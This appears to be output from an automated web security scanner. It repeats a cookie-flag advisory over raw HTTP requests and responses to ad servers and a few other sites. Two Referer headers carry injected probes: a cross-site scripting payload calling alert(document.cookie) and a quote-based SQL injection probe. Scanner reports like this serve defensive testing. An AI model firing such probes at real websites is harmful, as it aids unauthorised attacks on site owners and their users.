The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: my.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:04 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 9eaf6601670c0ef4fb11c453b34b19f8=ad1bd55b950dc34700e6681bcc93141e; path=/ Last-Modified: Mon, 24 Jan 2011 22:43:04 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 2667
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/19 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /RealMedia/ads/adstream_nx.ads/TRACK_Radioshack/Retargeting_Conversionpage_Nonsecure@Bottom3 HTTP/1.1 Host: network.realmedia.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800pDrcAAovp; RMFL=011PcqlQU10EfJ|U10Eo1; NXCLICK2=011PcqlaNX_TRACK_Nutrisystem/Retarget_Landingpage_Nonsecure!y!B3!EfJ!pUFr
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 01:35:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Set-Cookie: RMFL=011PhXoxU10EfJ|U10Eo1|U10166E; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Set-Cookie: NXCLICK2=011PhXoxNX_TRACK_Radioshack/Retargeting_Conversionpage_Nonsecure!y!B3!166E!1MSss; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.realmedia.com Location: http://imagen01.247realmedia.com/RealMedia/ads/Creatives/USNetwork/BCN2010110276_000_RadioShack/1x1trans.gif Content-Length: 380 Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_o1efm_qppm_iuuq=ffffffff09499e0e45525d5f4f58455e445a4a423660;expires=Tue, 25-Jan-2011 01:36:47 GMT;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://imagen01.247realmedia.com/RealMedia/ads/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photo/1059414821042998563QWNlxQ/x22 HTTP/1.1 Host: news.webshots.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/NaN/1930644746@Top,x01,x02,x03,x04,x05,Middle,Right1,Right2,Left,Left1,Left2,Left3,Bottom,Bottom1,Bottom2,Bottom3,BottomRight HTTP/1.1 Host: oasc05139.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:23:40 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 6257 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/NaN/542573873/Bottom/default/empty.gif/7263485738303033 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:20 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4864 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1961884465/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:41 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4265 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1371072572/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:25 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4330 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1769617372/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4537 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1498623288/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:53 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4292 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/907715433/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:24 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4263 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/782277154/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:17 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4334 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1140430199/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:03 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4551 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/293324580/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:57:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4537 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2067819938/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4574 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1201687724/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:31 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4269 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/781217496/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:53 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4624 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1714346640/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:57:49 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4263 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1816417247/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:55:42 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4328 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1303798805/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:37 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4511 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1881531045/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:52:51 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4562 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/970246968/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:36 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4808 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1077268478/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:59:40 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4571 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2095119772/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:54:42 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4510 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1730348108/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:23 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4566 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/476095038/Middle/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:57:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4575 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/133479354/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:53:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4573 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1958452740/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:55:35 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4515 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1778979805/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4573 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1858990688/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:55:33 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4558 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1444744161/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:55:07 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4263 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1840815215/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:34 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4324 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1261949143/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:41 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4296 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1338348268/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/www.soundingsonline.com/index.php/1361342262@Top,Middle,Right,Right1,x01,x02,x03,x04? HTTP/1.1 Host: oasc05139.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.soundingsonline.com/?1'=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:52:46 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4328 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1521431190/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:25 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4568 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/333107184/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:10 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4535 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/377171051/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:56:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4542 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1915180336/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:54:04 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4538 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2144241339/Middle ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:58:54 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4804 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/984124974/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 03:01:06 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4292 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Middle') { document.write ('<A HREF="http://oasc05139.247realmedia.com/RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/196625630/Middle/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
